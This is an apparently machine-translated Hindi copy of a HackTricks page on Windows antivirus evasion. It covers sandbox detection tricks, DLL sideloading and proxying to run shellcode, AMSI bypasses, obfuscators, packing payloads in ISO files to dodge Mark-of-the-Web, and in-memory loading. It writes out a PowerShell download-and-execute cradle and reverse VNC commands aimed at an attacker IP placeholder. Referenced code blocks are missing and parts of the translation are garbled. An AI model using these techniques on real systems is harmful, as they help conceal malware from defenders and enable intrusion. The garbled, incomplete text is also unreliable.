<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
वर्तमान में, AVs एक फ़ाइल को क्या यह हानिकारक है या नहीं यह जांचने के लिए विभिन्न तरीके का उपयोग करते हैं, स्थैतिक पहचान, गतिशील विश्लेषण, और उनके लिए अधिक उन्नत EDRs के लिए, व्यवहारिक विश्लेषण।
स्थैतिक पहचान को एक बाइनरी या स्क्रिप्ट में ज्ञात हानिकारक स्ट्रिंग या बाइट के गुणकों को झंडा दिखाकर प्राप्त किया जाता है, और भी फ़ाइल से जानकारी निकाली जाती है (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्होंने संशोधित और हानिकारक के रूप में झंडा दिया होगा। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको किसी प्रकार का लोडर चाहिए होगा जो प्रोग्राम को डिक्रिप्ट और मेमोरी में चलाने के लिए होगा।
कभी-कभी आपको अवशेषण करने के लिए अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह किसी भी चीज को अवशोषित करने के लिए कितना समय लगेगा इस पर निर्भर करता है।
Windows Defender स्थैतिक पहचान के खिलाफ जांच के लिए [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) एक अच्छा तरीका है। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर Defender को प्रत्येक एक को अलग-अलग स्कैन करने के लिए कार्यवाही करता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में झंडा दिखाए गए स्ट्रिंग्स या बाइट क्या हैं।
मैं आपको इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) की जांच करने की अत्यधिक सिफारिश करता हूं जो व्यावहारिक AV ईवेशन के बारे में है।
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और हानिकारक गतिविधि के लिए देखता है (जैसे आपके ब्राउज़र के पासवर्ड डिक्रिप्ट और पढ़ने की कोशिश, LSASS पर मिनीडंप करने की कोशिश, आदि)। यह भाग काम करने में थोड़ा जटिल हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
* **अभिनय से पहले सोना** जैसे ही यह कार्यान्वयन किया जाता है, यह AV के गतिशील विश्लेषण को छलने का एक बड़ा तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के काम को बाधित न करें, इसलिए लंबी नींद का उपयोग करना बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV सैंडबॉक्स इसे छोड़ सकते हैं जैसे ही यह कार्यान्वित होता है।
* **मशीन के संसाधनों की जांच** सामान्यत: सैंडबॉक्स के पास काम करने के लिए बहुत ही कम संसाधन होते हैं (जैसे <2GBरैम),अन्यथावेउपयोगकर्ताकीमशीनकोधीमाकरसकतेहैं।आपयहाँबहुतरचनात्मकहोसकतेहैं,उदाहरणकेलिएCPUकातापमानयाफिरफैनकीगतिकीजांचकरके,सैंडबॉक्समेंसभीचीजेंलागूनहींहोंगी।
* **मशीन-विशेष जांच** यदि आप उस उपयोगकर्ता को लक्ष्य बनाना चाहते हैं जिसका कार्यस्थल "contoso.local" डोमेन से जुड़ा हो, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट किया गया है, यदि नहीं, तो आप अपने कार्यक्रम को बंद कर सकते हैं।
यह पता चलता है कि माइक्रोसॉफ्ट डिफेंडर की सैंडबॉक्स कंप्यूटरनाम HAL9TH है, इसलिए, आप अपने मैलवेयर में कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप डिफेंडर की सैंडबॉक्स के अंदर हैं, इसलिए आप अपने कार्यक्रम को बंद कर सकते हैं।
**DLL साइडलोडिंग** विक्टिम एप्लिकेशन और हानिकारक पेलोड(जी) को एक साथ रखकर लोडर द्वारा उपयोग किए जाने वाले DLL खोज क्रम का लाभ उठाता है।
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पावरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के लिए संकटग्रस्त कार्यक्रमों की जांच कर सकते हैं:
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के लिए संवेदनशील कार्यक्रमों की सूची और वे DLL फ़ाइलें उत्पन्न करेगी जिन्हें वे लोड करने का प्रयास करते हैं।
मैं आपको **स्वयं DLL हाइजैक करने योग्य/साइडलोड कार्यक्रमों का अन्वेषण करने की सलाह देता हूं**, यह तकनीक सही ढंग से किया जाए तो काफी गुप्त रहती है, लेकिन यदि आप सार्वजनिक रूप से जाने जाने वाले DLL साइडलोड कार्यक्रमों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
किसी भी दुरुपयोगी DLL को एक ऐसे नाम के साथ रखकर जिस नाम का कोई कार्यक्रम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि कार्यक्रम उस DLL के अंदर कुछ विशिष्ट कार्यों की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सीइंग/फॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सीइंग** कार्यक्रम द्वारा प्रॉक्सी (और दुरुपयोगी) DLL से मूल DLL तक के कॉल को आगे भेजता है, इस प्रकार कार्यक्रम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड का निष्पादन संभालने में सक्षम होता है।
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
हमारे शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
मैं **ऊचा सिफारिश** करता हूं कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL साइडलोडिंग और [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को देखें और हमने जो विस्तार से चर्चा की है, उसके बारे में अधिक जानें।
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है, वह कल पकड़ा जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई टालने की तकनीकों को जोड़ने का प्रयास करें।
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। पहले, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने में सक्षम थे, इसलिए यदि आप किसी प्रकार से payloads **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर विंडोज डिफेंडर पर निम्नलिखित चेतावनी प्रकट होगी।
क्योंकि AMSI मुख्य रूप से स्थैतिक पकड़ों के साथ काम करता है, इसलिए आप लोड करने की कोशिश की गई स्क्रिप्टों को संशोधित करना डिटेक्शन से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास यदि यह कई लेयर्स हो तो भी स्क्रिप्टों को अनऑब्स्केट करने की क्षमता है, तो अवशोषण किया जा सकता है, यह न करने के लिए एक बुरा विकल्प हो सकता है। यह इसे टालना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको कुछ चरणों के नाम बदलने की आवश्यकता होती है और आप अच्छे हो जाएंगे, इसलिए यह उस पर कितना झंझट है इस पर निर्भर करता है।
क्योंकि AMSI को पावरशेल (जैसे cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसे आसानी से भ्रमित किया जा सकता है भले ही एक अनधिकृत उपयोगकर्ता के रूप में चल रहा हो। इस AMSI के कार्यान्वयन में दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
AMSI प्रारंभीकरण को विफल करने (amsiInitFailed) के लिए मजबूर करना इस नतीजे में लाएगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। मूल रूप से इसे [मैट ग्रेबर](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने इसका व्यापक उपयोग रोकने के लिए एक हस्ताक्षर विकसित किया है।
केवल एक पंक्ति पावरशेल कोड की आवश्यकता थी ताकि वर्तमान पावरशेल प्रक्रिया के लिए AMSI अप्रयोग्य हो जाए। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें "AmsiScanBuffer" फ़ंक्शन के पते को खोजना होता है जो amsi.dll में होता है (उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को स्कैन करने के लिए जिम्मेदार है) और इसे इंस्ट्रक्शन के साथ ओवरराइट करना होता है ताकि यह वास्तविक स्कैन का परिणाम 0 लौटाए, जो साफ परिणाम के रूप में व्याख्या किया जाता है।
AMSI को बायपास करने के लिए पावरशेल के साथ कई अन्य तकनीकें भी हैं, [**इस पेज**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जांच करें और उनके बारे में और अधिक जानें।
कई उपकरण हैं जो क्लियर-टेक्स्ट को अवगुणित करने, **मेटाप्रोग्रामिंग टेम्पलेट्स** जेनरेट करने या **कंपाइल बाइनरी** को अवगुणित करने के लिए उपयोग किए जा सकते हैं जैसे:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अवगुणन](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि देने में सक्षम हो।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके कैसे कंपाइल समय पर बिना किसी बाह्य उपकरण का उपयोग किए और कंपाइलर को संशोधित किए बिना अवगुणित कोड उत्पन्न किया जा सकता है।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न अवगुणित ऑपरेशन की एक परत जोड़ें जो अनुप्रयोग को क्रैक करने वाले व्यक्ति के जीवन को थोड़ा सा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अवगुणक है जो विभिन्न पीई फ़ाइलों को अवगुणित करने में सक्षम है: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक अर्बिट्रेरी एक्जीक्यूटेबल्स के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक फाइन-ग्रेन्ड कोड अवगुणन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM समर्थित भाषाओं के लिए एक प्रोग्राम को अवगुणित करता है। ROPfuscator एक प्रोग्राम को नियंत्रण की सामान्य धारणा को बदलकर एसेम्बली कोड स्तर पर अवगुणित करता है, जिससे हमारी साहज नियंत्रण प्रवाह की धारणा को ठगा जाता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे जिससे अंत उपयोगकर्ता को फ़ाइल को चलाने से रोका जाएगा (हालांकि फ़ाइल को फिर भी चलाया जा सकता है जरूरी जानकारी -> फिर भी चलाएं पर क्लिक करके)।
**MoTW** (Mark of The Web) एक [NTFS वैकल्पिक डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे यह डाउनलोड किया गया था।
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच।</p></figcaption></figure>
अपने पेलोड को Mark of The Web से बचाने के लिए एक प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर के अंदर पैकेज करना है जैसे कि एक ISO। यह इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू **नहीं** किया जा सकता है।
यहाँ एक डेमो है जिसमें [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में payloads को SmartScreen को बायपास करने का तरीका दिखाया गया है।
मेमोरी में C# बाइनरीज़ लोड करना काफी समय से जाना जा रहा है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन टूल्स को चलाने का एक बहुत अच्छा तरीका है।
C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) मेमोरी में C# असेम्ब्लीज़ को सीधे एक्सीक्यूट करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल है, नई प्रक्रिया में अपने पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को इंजेक्ट करना, उस नई प्रक्रिया को चलाना और समाप्त होने पर, नई प्रक्रिया को मार देना। इसके फायदे और नुकसान दोनों हैं। फोर्क और रन विधि का लाभ यह है कि निष्क्रिय अंकुर इम्प्लांट प्रक्रिया के **बाहर** निष्क्रिय होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ जाता है, तो हमारे **इम्प्लांट के जीवित रहने** की **अधिक संभावना** है। नुकसान यह है कि आपको **व्यवहारिक पहचान** द्वारा पकड़ने की **अधिक संभावना** है।
इसका मतलब है पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को **अपनी खुद की प्रक्रिया में** इंजेक्ट करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और उसे एंटीवायरस द्वारा स्कैन करवाने से बचने में मदद मिलती है, लेकिन नुकसान यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **अधिक संभावना** है क्योंकि यह क्रैश हो सकता है।
यदि आप C# Assembly लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
आप C# Assemblies **PowerShell से** भी लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित है कि अटैकर नियंत्रित SMB साझा परिवार पर स्थापित अनुप्रयोगी वातावरण का उपयोग करके दुरुपयोगी कोड को अन्य भाषाओं में चलाना संभव है।
अंतर्वार्ती बाइनरीज़ और अटैकर नियंत्रित मशीन की मेमोरी में इन भाषाओं में विचारहीन कोड को **अंजाम देने** की अनुमति देने से आप अपने बीमित मशीन की मेमोरी में विचारहीन कोड को **अंजाम दे सकते हैं**।
रेपो इसका सुझाव देता है: डिफेंडर अब भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों को बायपास करने** की **अधिकता** होती है। इन भाषाओं में अनोभ्फस्केटेड रिवर्स शैल वाले स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
टालना एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों को ध्यान में रखना पड़ता है, इसलिए पूरी तरह से परिपक्व वातावरण में पूरी तरह से अनप्रकट रहना लगभग असंभव है।
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के हिस्से को हटा देगा** जब तक वह यह नहीं पता लगाता है कि Defender किस हिस्से को दुरुपयोगी मान रहा है और इसे आपको विभाजित कर देगा।\
एक और उपकरण जो **एक ही चीज कर रहा है** है [**avred**](https://github.com/dobin/avred) जिसके एक ओपन वेब सेवा में सेवा प्रदान कर रहा है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
इसे यहाँ से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को चलाना चाहिए ताकि वह एक रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो जाए। फिर, **विक्टिम** के अंदर: winvnc डेमन चलाएं `winvnc.exe -run` और `winwnc.exe [-autoreconnect] -connect <हमलावर_ip>::5900`
* अगर यह पहले से चल रहा है, तो `winvnc` न चलाएं या आप एक [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर कर देंगे। `tasklist | findstr winvnc` के साथ चल रहा है या नहीं यह जांचें
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह